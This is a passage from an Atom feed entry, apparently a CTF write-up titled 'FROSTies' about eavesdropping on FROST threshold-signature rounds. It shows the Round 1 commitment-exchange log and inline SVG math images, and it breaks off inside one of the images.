<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title></title>
    <link rel="self" type="application/atom+xml" href="https://yctf.ch/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://yctf.ch/"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2025-03-15T00:00:00+00:00</updated>
    <id>https://yctf.ch/atom.xml</id>
    <entry xml:lang="en">
        <title>FROSTies</title>
        <published>2025-03-15T00:00:00+00:00</published>
        <updated>2025-03-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            cstef
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://yctf.ch/writeups/insomnihack/frosties/"/>
        <id>https://yctf.ch/writeups/insomnihack/frosties/</id>
        
        <content type="html" xml:base="https://yctf.ch/writeups/insomnihack/frosties/">&lt;p&gt;We are able to eavesdrop on seemingly normal &lt;a href=&quot;https:&#x2F;&#x2F;yctf.ch&#x2F;writeups&#x2F;insomnihack&#x2F;frosties&#x2F;#suggested-readings-and-references&quot;&gt;FROST&lt;&#x2F;a&gt; rounds&lt;&#x2F;p&gt;
&lt;h3 id=&quot;round-1&quot;&gt;Round 1&lt;&#x2F;h3&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 1 sent to participant 2 : VerifiableSecretSharingCommitment([...])
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 1 sent to participant 3 : VerifiableSecretSharingCommitment([...])
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 2 sent to participant 1 : VerifiableSecretSharingCommitment([...])
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 2 sent to participant 3 : VerifiableSecretSharingCommitment([...])
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 3 sent to participant 1 : VerifiableSecretSharingCommitment([...])
&lt;&#x2F;span&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;Participant 3 sent to participant 2 : VerifiableSecretSharingCommitment([...])
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which corresponds to the usual commitment sharing phase for the generated &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%22185.36555555555557pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%20185.36555555555557%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23f012be%22%5D%20%7B%0A%09fill%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09fill%3A%20var%28--y%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23000000%22%5D%20%7B%0A%09stroke%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffffff%22%5D%20%7B%0A%09stroke%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09stroke%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%230074d9%22%5D%20%7B%0A%09stroke%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ff4136%22%5D%20%7B%0A%09stroke%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%232ecc40%22%5D%20%7B%0A%09stroke%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23f012be%22%5D%20%7B%0A%09stroke%3A%20var%28--p%29%3B%0A%7D%0A.typst-text%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-text%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-shape%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%2C%0A.typst-group%20%3E%20%5Bstroke%3D%22%5C%23ffdc00%22%5D%20%7B%0A%09stroke%3A%20var%28--y%29%3B%0A%7D%0A%3C%2Fstyle%3E%3Cg%20fill%3D%22%23000000%22%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23a%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%200%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23b%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%206.37%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23c%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2010.774%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2015.831%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23e%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2023.267%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23f%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2031.936%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2045.66%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23h%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2052.538%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2061.332%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2074.335%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2081.212%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2087.118%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%2097.443%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23k%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20110.446%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23i%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20124.216%2015.379%29%22%2F%3E%3Cg%20class%3D%22typst-group%22%3E%3Cuse%20xlink%3Ahref%3D%22%23g%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20137.219%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20144.096%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23m%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20148.027%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20155.107%2018.59%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23d%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20161.013%2015.379%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23l%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20168.449%2010.66%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23m%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20172.38%2010.66%29%22%2F%3E%3Cuse%20xlink%3Ahref%3D%22%23j%22%20class%3D%22typst-text%22%20transform%3D%22matrix%281%200%200%20-1%20179.46%2010.66%29%22%2F%3E%3C%2Fg%3E%3C%2Fg%3E%3Cdefs%3E%3Csymbol%20id%3D%22a%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M7.176%208.229c0%20.572-.559.936-1.17.936-.806%200-1.365-.52-1.664-1.547-.065-.234-.208-.897-.416-1.989h-.845c-.286%200-.429-.013-.429-.286%200-.143.13-.208.403-.208h.78L2.886.104c-.143-.741-.273-1.287-.39-1.651-.156-.481-.377-.728-.663-.728a.9.9%200%200%200-.494.143c.416.065.624.312.624.728%200%20.338-.169.507-.52.507-.442%200-.754-.39-.754-.832%200-.572.533-.936%201.144-.936.325%200%20.624.13.871.403.416.429.741%201.04.975%201.859.143.507.273%201.001.364%201.495l.754%204.043h1.066c.299%200%20.429.013.429.312%200%20.117-.13.182-.39.182H4.901c.078.533.442%202.496.559%202.743.13.273.312.403.546.403a.93.93%200%200%200%20.507-.143c-.403-.091-.611-.325-.611-.728%200-.338.169-.507.52-.507.442%200%20.754.39.754.832%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22b%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.958%205.651a.38.38%200%200%201-.392.382c-.273%200-.537-.255-.537-.527a.38.38%200%200%201%20.392-.383c.273%200%20.537.255.537.528m-1.21-1.61q-.642%200-1.01-.656c-.21-.364-.31-.619-.31-.764%200-.1.063-.146.182-.146.1%200%20.163.055.2.164.21.719.51%201.074.91%201.074.127%200%20.191-.091.191-.282%200-.119-.091-.41-.273-.883l-.564-1.447A1.1%201.1%200%200%201%20.992.71c0-.473.41-.801.883-.801.427%200%20.755.218%201%20.664.21.364.31.61.31.747%200%20.1-.064.154-.182.154-.055-.009-.118-.054-.182-.145a.1.1%200%200%201-.018-.037c-.21-.7-.51-1.055-.901-1.055q-.19%200-.191.273c0%20.136.045.327.145.564l.72%201.865q.054.15.054.3c0%20.474-.41.801-.883.801%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22c%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.134-3.224c.117%200%20.182.065.182.182%200%20.039-.026.091-.065.143-.676.52-1.222%201.378-1.625%202.561-.351%201.027-.533%202.041-.533%203.042v1.092c0%201.001.182%202.015.533%203.042.403%201.183.949%202.041%201.625%202.561a.2.2%200%200%201%20.065.143c0%20.117-.065.182-.182.182a.2.2%200%200%201-.091-.039c-.78-.598-1.43-1.482-1.963-2.665-.507-1.131-.767-2.197-.767-3.224V2.704c0-1.027.26-2.093.767-3.224.533-1.183%201.183-2.067%201.963-2.665a.2.2%200%200%201%20.091-.039%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22d%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.851%204.849c0%20.598-.585.897-1.235.897-.559%200-1.001-.299-1.339-.897-.273.598-.728.897-1.391.897-.637%200-1.157-.299-1.573-.884C.962%204.355.78%203.978.78%203.731c0-.117.065-.182.195-.182.117%200%20.195.065.221.182.247.754.793%201.638%201.664%201.638.429%200%20.637-.273.637-.806%200-.273-.234-1.287-.689-3.029-.221-.871-.611-1.3-1.17-1.3-.182%200-.351.039-.494.104q.507.195.507.702c0%20.338-.169.507-.52.507-.429%200-.754-.364-.754-.793%200-.598.611-.897%201.248-.897.546%200%20.988.299%201.339.897.247-.598.715-.897%201.391-.897.624%200%201.144.299%201.56.884.351.507.533.884.533%201.131%200%20.117-.065.182-.195.182-.117%200-.182-.065-.221-.182C5.811%201.131%205.226.234%204.381.234c-.429%200-.65.26-.65.793%200%20.169.065.533.208%201.118L4.381%203.9c.247.975.65%201.469%201.222%201.469.182%200%20.351-.039.494-.104-.351-.117-.52-.351-.52-.702%200-.338.182-.507.533-.507.416%200%20.741.377.741.793%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22e%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M1.014-3.185c.78.598%201.43%201.482%201.963%202.665.507%201.131.767%202.197.767%203.224v1.092c0%201.027-.26%202.093-.767%203.224-.533%201.183-1.183%202.067-1.963%202.665a.2.2%200%200%201-.091.039c-.117%200-.182-.065-.182-.182%200-.052.026-.104.065-.143.676-.52%201.222-1.378%201.625-2.561.351-1.027.533-2.041.533-3.042V2.704c0-1.001-.182-2.015-.533-3.042-.403-1.183-.949-2.041-1.625-2.561-.039-.052-.065-.104-.065-.143%200-.117.065-.182.182-.182.013%200%20.052.013.091.039%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22f%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.074%204.771H1.04c-.208%200-.312-.104-.312-.299s.104-.299.312-.299h8.034c.208%200%20.312.104.312.299%200%20.156-.143.299-.312.299m0-2.444H1.04c-.208%200-.312-.104-.312-.299s.104-.299.312-.299h8.034c.208%200%20.312.104.312.299a.305.305%200%200%201-.312.299%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22g%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.474%201.872c0%20.117-.065.182-.208.182-.104%200-.182-.091-.221-.273C5.785.754%205.473.234%205.122.234c-.221%200-.338.182-.338.546%200%20.169.052.481.169.936l.741%202.925c.065.247.091.39.091.455q0%20.39-.429.39c-.273%200-.455-.156-.546-.455-.273.481-.663.715-1.157.715-.845%200-1.586-.429-2.236-1.287C.819%203.653.52%202.821.52%201.95c0-1.131.663-2.093%201.755-2.093.559%200%201.105.299%201.625.897a1.23%201.23%200%200%201%201.196-.897c.897%200%201.17%201.053%201.378%202.015m-2.041%202.99c.117-.273.182-.455.182-.572%200-.052-.013-.117-.026-.208l-.637-2.496a1.4%201.4%200%200%200-.247-.455Q2.983.234%202.301.234c-.507%200-.767.39-.767%201.157q0%20.468.234%201.404c.273%201.105.663%201.846%201.144%202.249.26.221.507.325.754.325.351%200%20.611-.169.767-.507%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22h%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M4.696%202.903c0%201.028-.182%201.81-.537%202.348-.291.455-.874.791-1.575.791-.29%200-.555-.045-.782-.145C.8%205.478.473%204.313.473%202.903c0-.31.018-.6.046-.883.154-1.192.71-2.202%202.065-2.202.292%200%20.556.045.783.146%201.001.41%201.329%201.547%201.329%202.939m-1.038%202.02c.1-.337.155-.964.155-1.902%200-.892-.036-1.52-.118-1.893-.11-.536-.492-.982-1.11-.982-.228%200-.456.072-.665.227-.282.21-.455.619-.528%201.247-.027.21-.036.673-.036%201.401%200%20.883.045%201.493.136%201.82q.233.874%201.092.874a1.1%201.1%200%200%200%201.074-.792%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22i%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.074%203.562H5.369v3.705q0%20.312-.312.312t-.312-.312V3.562H1.04q-.312%200-.312-.312t.312-.312h3.705V-.767q0-.312.312-.312t.312.312v3.705h3.705q.312%200%20.312.312a.316.316%200%200%201-.312.312%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22j%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M2.757%206.042C2.366%205.66%201.784%205.47.992%205.47v-.4c.537%200%20.964.082%201.292.236V.774c0-.119-.009-.192-.036-.228-.046-.1-.319-.155-.82-.155h-.372V0l1.62.036L4.303%200v.391H3.93c-.5%200-.773.055-.828.155a.6.6%200%200%200-.027.227v4.978c0%20.246-.037.291-.319.291%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22k%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M9.763.689c0%20.39-.338.689-.728.689-.403%200-.741-.299-.741-.689S8.632%200%209.035%200c.39%200%20.728.299.728.689m-3.588%200c0%20.39-.338.689-.728.689-.403%200-.728-.299-.728-.689S5.044%200%205.447%200c.39%200%20.728.299.728.689M2.6.689c0%20.39-.338.689-.741.689-.39%200-.728-.299-.728-.689S1.469%200%201.859%200%202.6.299%202.6.689%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22l%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M3.458%203.786q0%20.152-.3.154h-.801l.318%201.293c0%20.018.028.109.028.127q.002.327-.337.327c-.273%200-.428-.227-.491-.536l-.292-1.21H.701c-.21%200-.319-.028-.319-.228q0-.164.3-.164h.801l-.51-2.075C.884%201.11.838.883.838.801c0-.537.446-.892.983-.892.464%200%20.865.218%201.183.664q.398.558.4.747c0%20.1-.054.154-.172.154a.3.3%200%200%201-.11-.018.7.7%200%200%201-.109-.173C2.812.837%202.393.237%201.847.237q-.273.002-.273.4c0%20.1.019.218.055.364l.628%202.548h.883c.209%200%20.318.046.318.237%22%2F%3E%3C%2Fsymbol%3E%3Csymbol%20id%3D%22m%22%20overflow%3D%22visible%22%3E%3Cpath%20d%3D%22M6.334%202.484H.746c-.182%200-.236-.09-.236-.209%200-.118.054-.21.236-.21h5.588c.182%200%20.236.092.236.21%200%20.11-.054.21-.236.21%22%2F%3E%3C%2Fsymbol%3E%3C%2Fdefs%3E%3C%2Fsvg%3E&quot; class=&quot;typst-inline typst-doc&quot; style=&quot;vertical-align: -0.5909090909090907em; width: 16.851414141414143em&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; alt=&quot;&quot; &#x2F;&gt; polynomial, where &lt;img src=&quot;data:image&#x2F;svg+xml,%3Csvg%20xmlns%3D%22http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%22%20xmlns%3Axlink%3D%22http%3A%2F%2Fwww.w3.org%2F1999%2Fxlink%22%20width%3D%224.693pt%22%20height%3D%2221.878999999999998pt%22%20class%3D%22typst-doc%22%20viewBox%3D%220%200%204.693%2021.878999999999998%22%3E%3Cstyle%3E%3Aroot%20%7B%0A%09--t%3A%20%23000000%3B%0A%09--b%3A%20%23ffffff%3B%0A%09--m%3A%20%23d5d5d5%3B%0A%09--l%3A%20%230074d9%3B%0A%09--r%3A%20%23ff4136%3B%0A%09--g%3A%20%232ecc40%3B%0A%09--p%3A%20%23f012be%3B%0A%09--y%3A%20%23ffdc00%3B%0A%7D%0A%0A%40media%20%28prefers-color-scheme%3A%20dark%29%20%7B%0A%09%3Aroot%20%7B%0A%09%09--t%3A%20%23ffffff%3B%0A%09%09--b%3A%20%23000000%3B%0A%09%09--m%3A%20%237a7a7a%3B%0A%09%7D%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23000000%22%5D%20%7B%0A%09fill%3A%20var%28--t%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ffffff%22%5D%20%7B%0A%09fill%3A%20var%28--d%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23d5d5d5%22%5D%20%7B%0A%09fill%3A%20var%28--m%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%230074d9%22%5D%20%7B%0A%09fill%3A%20var%28--b%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%23ff4136%22%5D%20%7B%0A%09fill%3A%20var%28--r%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-text%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-shape%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%2C%0A.typst-group%20%3E%20%5Bfill%3D%22%5C%232ecc40%22%5D%20%7B%0A%09fill%3A%20var%28--g%29%3B%0A%7D%0A.typst-text%5Bfill%3D%22%5C